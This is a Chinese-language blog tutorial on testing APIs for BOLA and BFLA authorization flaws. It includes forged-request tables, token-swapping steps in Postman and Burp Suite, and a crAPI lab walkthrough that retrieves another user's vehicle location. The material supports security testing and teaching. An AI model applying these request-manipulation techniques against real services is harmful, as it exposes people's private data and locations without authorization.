超级会员免费看
利用 API 授权漏洞进行安全测试
在 API 安全领域，授权漏洞是一个严重的问题，可能导致敏感信息泄露、权限提升等严重后果。本文将详细介绍两种常见的授权漏洞：BOLA（Broken Object Level Authorization）和 BFLA（Broken Function Level Authorization），并提供相应的测试方法和技巧。
1. 寻找 BOLA 漏洞
BOLA 是一种常见的 API 相关漏洞，通常也比较容易测试。如果 API 以某种模式列出资源，你可以使用该模式测试其他实例。
1.1 定位资源 ID
为了测试 BOLA 漏洞，需要找到资源 ID。资源 ID 可能包括用户 ID、资源 ID、组织 ID、电子邮件、电话号码、地址、令牌或编码的有效负载等。
以下是一些常见的资源请求和对应的 BOLA 测试示例：
| 类型 | 有效请求 | BOLA 测试 |
| — | — | — |
| 可预测 ID | GET /api/v1/account/ 2222
Token: UserA_token | GET /api/v1/account/ 3333
Token: UserA_token |
| ID 组合 | GET /api/v1/ UserA /data/2222
Token: UserA_token | GET /api/v1/ UserB /data/ 3333
Token: UserA_token |
| 整数作为 ID | POST /api/v1/account/
Token: UserA_token
{“Account”: 2222 } | POST /api/v1/account/
Token: UserA_token
{“Account”: [3333]} |
| 电子邮件作为用户 ID | POST /api/v1/user/account
Token: UserA_token
{“email”: ” UserA@email.com”} | POST /api/v1/user/account
Token: UserA_token
{“email”: ” UserB@email.com”} |
| 组 ID | GET /api/v1/group/ CompanyA
Token: UserA_token | GET /api/v1/group/ CompanyB
Token: UserA_token |
| 组和用户组合 | POST /api/v1/group/ CompanyA
Token: UserA_token
{“email”: ” userA@CompanyA.com”} | POST /api/v1/group/ CompanyB
Token: UserA_token
{“email”: ” userB@CompanyB.com”} |
| 嵌套对象 | POST /api/v1/user/checking
Token: UserA_token
{“Account”: 2222 } | POST /api/v1/user/checking
Token: UserA_token
{“Account”: {“Account” :3333}} |
| 多个对象 | POST /api/v1/user/checking
Token: UserA_token
{“Account”: 2222 } | POST /api/v1/user/checking
Token: UserA_token
{“Account”: 2222, “Account”: 3333, “Account”: 5555 } |
| 可预测令牌 | POST /api/v1/user/account
Token: UserA_token
{“data”: “DflK1df7jSdfa1acaa”} | POST /api/v1/user/account
Token: UserA_token
{“data”: “DflK1df7jSdfa2dfaa”} |
1.2 A - B 测试
A - B 测试是一种有效的 BOLA 漏洞检测方法，具体步骤如下：
1. 以 UserA 身份创建资源，记录资源的标识方式和请求方式。
2. 将 UserA 的令牌替换为另一个用户（如 UserB）的令牌。如果有账户注册流程，可以创建第二个账户。
3. 使用 UserB 的令牌请求 UserA 的资源，重点测试 UserB 不应访问的私有信息资源，如全名、电子邮件、电话号码、社保号码、银行账户信息、法律信息和交易数据等。
1.3 侧信道 BOLA
侧信道 BOLA 是通过意外来源获取敏感信息的方法，例如利用响应时间、响应代码和长度来确定资源是否存在。
以下是一些侧信道 BOLA 披露的请求和响应示例：
| 请求 | 响应 |
| — | — |
| GET /api/user/test987123 | 404 Not Found HTTP/1.1 |
| GET /api/user/hapihacker | 405 Unauthorized HTTP/1.1
{ } |
| GET /api/user/1337 | 405 Unauthorized HTTP/1.1
{ } |
| GET /api/user/phone/2018675309 | 405 Unauthorized HTTP/1.1
{ } |
2. 寻找 BFLA 漏洞
BFLA 漏洞可能允许攻击者更新对象值、删除数据或执行其他用户的操作。测试 BFLA 漏洞时，需要尝试更改或删除资源，或访问其他用户或权限级别的功能。
2.1 A - B - A 测试
A - B - A 测试是测试 BFLA 漏洞的有效方法，具体步骤如下：
1. 以 UserA 身份创建、读取、更新或删除资源，记录资源的标识方式和请求方式。
2. 将 UserA 的令牌替换为 UserB 的令牌。如果有账户注册流程，可以创建第二个测试账户。
3. 使用 UserB 的令牌发送 GET、PUT、POST 和 DELETE 请求，尝试更改资源属性。
4. 检查 UserA 的资源，验证是否使用 UserB 的令牌进行了更改。可以使用相应的 Web 应用程序或使用 UserA 的令牌进行 API 请求来检查相关资源。
2.2 在 Postman 中测试 BFLA
在 Postman 中测试 BFLA 可以从授权请求 UserA 的资源开始。例如，测试社交媒体应用中是否可以修改其他用户的图片：
GET /api/picture/2
Token: UserA_token
响应如下：
200 OK
{
"_id": 2,
"name": "development flower",
"creator_id": 2,
"username": "UserA",
"money_made": 0.35,
"likes": 0
}
然后，尝试使用 UserB 的令牌发送 DELETE 请求：
DELETE /api/picture/2
Token: UserB_token
如果删除成功，再发送一个 GET 请求验证图片是否已删除：
GET /api/picture/2
Token: UserA_token
还可以尝试以低权限用户身份进行管理请求，例如：
POST /api/admin/find/user
Token: LowPriv-Token
{"email": "hapi@hacker.com"}
如果响应成功，可能存在 BFLA 漏洞。
3. 授权测试技巧
攻击大规模 API 可能非常耗时，以下是一些测试整个 API 授权漏洞的技巧：
3.1 Postman 的集合变量
可以使用 Postman 的集合变量来批量更改授权令牌。具体步骤如下：
1. 以 UserA 身份测试各种资源请求，确保请求正常工作。
2. 将令牌变量替换为 UserB 的令牌。
3. 使用集合测试来查找 200 响应代码或 API 的等效响应。
4. 在集合运行器中，选择可能包含授权漏洞的请求，如包含 UserA 私有信息的请求。
5. 启动集合运行器并审查结果，查找 UserB 令牌导致成功响应的实例，这些实例可能表示存在 BOLA 或 BFLA 漏洞。
3.2 Burp Suite 的匹配和替换
使用 Burp Suite 的匹配和替换功能可以批量替换授权令牌。具体步骤如下：
1. 以 UserA 身份收集多个需要授权的请求，如涉及用户账户和资源的请求。
2. 匹配并将授权头替换为 UserB 的授权头，然后重复请求。
3. 一旦发现 BOLA 或 BFLA 实例，尝试对所有用户和相关资源进行利用。
4. 实验：查找其他用户的车辆位置
以下是查找其他用户车辆位置的实验步骤：
graph TD;
A[注册第二个账户 UserB] --> B[使用 MailHog 注册车辆];
B --> C[点击刷新位置按钮捕获请求];
C --> D[获取 UserB 的 GUID];
D --> E[将 UserB 的令牌替换为 UserA 的令牌并发送请求];
E --> F[检查响应，确认是否存在 BOLA 漏洞];
F --> G[利用之前的过度数据暴露获取其他用户的 GUID];
G --> H[使用 UserA 的令牌请求其他用户的车辆位置];
- 注册第二个账户 UserB。
-
使用 MailHog 注册车辆：
- 作为认证用户，点击仪表盘上的“Click Here”链接，生成包含车辆信息的电子邮件并发送到 MailHog 账户。
- 更新地址栏中的 URL 访问端口 8025（http://yourIPaddress:8025），打开“Welcome to crAPI”电子邮件。
- 从电子邮件中获取 VIN 和密码信息，在 crAPI 仪表盘上点击“Add a Vehicle”按钮注册车辆。
- 点击“Refresh Location”按钮捕获请求：
GET /identity/api/v2/vehicle/d3b4b4b8-6df6-4134-8d32-1be402caf45c/location HTTP/1.1
Host: 192.168.195.130:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Authorization: Bearer UserB-Token
Content-Length: 376
- 获取 UserB 的 GUID 后，将 UserB 的令牌替换为 UserA 的令牌并发送请求：
GET /identity/api/v2/vehicle/d3b4b4b8-6df6-4134-8d32-1be402caf45c/location HTTP/1.1
Host: 192.168.195.130:8888
Content-Type: application/json
Authorization: Bearer UserA-Token
响应如下：
HTTP/1.1 200
{
"carId":"d3b4b4b8-6df6-4134-8d32-1be402caf45c",
"vehicleLocation":
{
"id":2,
"latitude":"39.0247621",
"longitude":"-77.1402267"
},
"fullName":"UserB"
}
这表明发现了一个 BOLA 漏洞。
5. 利用之前的过度数据暴露获取其他用户的 GUID，例如：
{
"id":"sEcaWGHf5d63T2E7asChJc",
"title":"Title 1",
"content":"Hello world 1",
"author":{
"nickname":"Adam",
"email":"adam007@example.com",
"vehicleid":"2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2",
"profile_pic_url":"",
}
- 使用 UserA 的令牌请求其他用户的车辆位置：
GET /identity/api/v2/vehicle/2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2/location HTTP/1.1
Host: 192.168.195.130:8888
Content-Type: application/json
Authorization: Bearer UserA-Token
Connection: close
响应如下：
HTTP/1.1 200
{
"carId":"2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2",
"vehicleLocation":{
"id":7,
"latitude":"37.233333",
"longitude":"-115.808333"},
"fullName":"Adam"
}
通过这种方式，可以利用 BOLA 漏洞发现用户车辆的位置。
总之，API 授权漏洞可能导致严重的安全问题，因此需要进行全面的安全测试。通过使用上述方法和技巧，可以有效地发现和利用 BOLA 和 BFLA 漏洞，提高 API 的安全性。
利用 API 授权漏洞进行安全测试（续）
5. 总结与注意事项
API 授权漏洞的存在会给系统带来严重的安全风险。BOLA 漏洞可能使攻击者获取组织的敏感信息，而 BFLA 漏洞可能导致权限提升或执行未经授权的操作，从而危及 API 提供商的安全。在进行 API 安全测试时，要关注以下要点：
- 准确识别资源的标识方式：不同的 API 可能使用不同的信息来识别资源，如用户 ID、资源 ID、组织 ID 等。在测试过程中，要仔细分析请求中使用的各种信息，包括可预测的请求值、嵌套对象等。
- 多样化的测试方法：不要局限于单一的测试方式，应结合 A - B 测试、A - B - A 测试、侧信道分析等多种方法进行全面测试。
- 谨慎操作：在进行 DELETE 请求等可能导致数据丢失的测试时，要确保在测试环境中进行，避免对生产环境造成影响。
6. 常见问题解答
以下是一些在 API 授权漏洞测试过程中常见的问题及解答：
| 问题 | 解答 |
| — | — |
| 如何确定 API 是否存在 BOLA 漏洞？ | 可以通过定位资源 ID，使用 A - B 测试、侧信道分析等方法进行测试。如果发现未授权用户能够访问请求的资源，则表明 API 可能存在 BOLA 漏洞。 |
| A - B - A 测试中，如何验证资源是否被更改？ | 可以使用相应的 Web 应用程序或使用原用户的令牌进行 API 请求，检查相关资源的状态是否发生变化。 |
| 在 Postman 中使用集合变量测试时，如何选择可能包含授权漏洞的请求？ | 选择包含原用户私有信息的请求，如涉及用户账户、敏感数据等的请求，这些请求更有可能存在授权漏洞。 |
| Burp Suite 的匹配和替换功能是否适用于所有类型的 API 请求？ | 一般来说，只要请求中包含可匹配和替换的授权信息，该功能都可以使用。但在使用前，要确保对请求的结构和授权机制有充分的了解。 |
7. 进一步的安全建议
为了提高 API 的安全性，除了进行漏洞测试外，还可以采取以下措施：
- 严格的用户认证和授权：确保用户在访问资源前进行有效的认证，并根据用户的权限级别严格控制其对资源的访问。
- 输入验证：对用户输入进行严格的验证，防止恶意输入绕过安全控制。
- 定期安全审计：定期对 API 进行安全审计，及时发现和修复潜在的安全漏洞。
- 加密通信：使用加密协议（如 HTTPS）保护 API 通信，防止数据在传输过程中被窃取或篡改。
8. 示例代码分析
以下是一些在测试过程中可能用到的示例代码及分析：
8.1 BFLA 测试请求示例
GET /api/picture/2
Token: UserA_token
这个请求用于获取用户 A 的图片资源。从请求中可以看出，资源通过路径中的数字进行标识，并且使用了用户 A 的令牌进行授权。
响应如下：
200 OK
{
"_id": 2,
"name": "development flower",
"creator_id": 2,
"username": "UserA",
"money_made": 0.35,
"likes": 0
}
响应信息表明该图片的创建者是用户 A，并且与请求中的令牌匹配。
8.2 侧信道 BOLA 测试请求示例
GET /api/user/hapihacker
如果该请求返回 405 Unauthorized，而对于不存在的资源返回 404 Not Found，就可以利用这种差异进行侧信道分析，推测该用户是否存在。
9. 操作流程总结
为了方便大家进行 API 授权漏洞测试，以下是一个操作流程总结：
graph LR;
A[准备测试环境] --> B[定位资源 ID];
B --> C[选择测试方法];
C --> D{测试类型};
D -->|BOLA| E[A - B 测试];
D -->|BFLA| F[A - B - A 测试];
E --> G[侧信道分析];
F --> H[在 Postman 中测试];
G --> I[发现漏洞];
H --> I;
I --> J[利用漏洞进行验证];
J --> K[采取安全措施];
- 准备测试环境：包括创建测试账户、获取必要的令牌等。
- 定位资源 ID：分析 API 请求中用于识别资源的信息。
- 选择测试方法：根据 API 的特点和需求，选择合适的测试方法，如 A - B 测试、A - B - A 测试等。
- 进行测试：按照选择的测试方法进行具体的测试操作。
- 发现漏洞：通过分析测试结果，判断是否存在 BOLA 或 BFLA 漏洞。
- 利用漏洞进行验证：对发现的漏洞进行进一步的验证和利用，确保漏洞的真实性和严重性。
- 采取安全措施：根据漏洞的情况，采取相应的安全措施，如修复漏洞、加强授权控制等。
通过以上的介绍和操作流程，希望大家能够更好地理解和掌握 API 授权漏洞的测试方法，提高 API 的安全性。在实际应用中，要不断积累经验，灵活运用各种测试方法，及时发现和解决潜在的安全问题。
扫一扫
1780
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
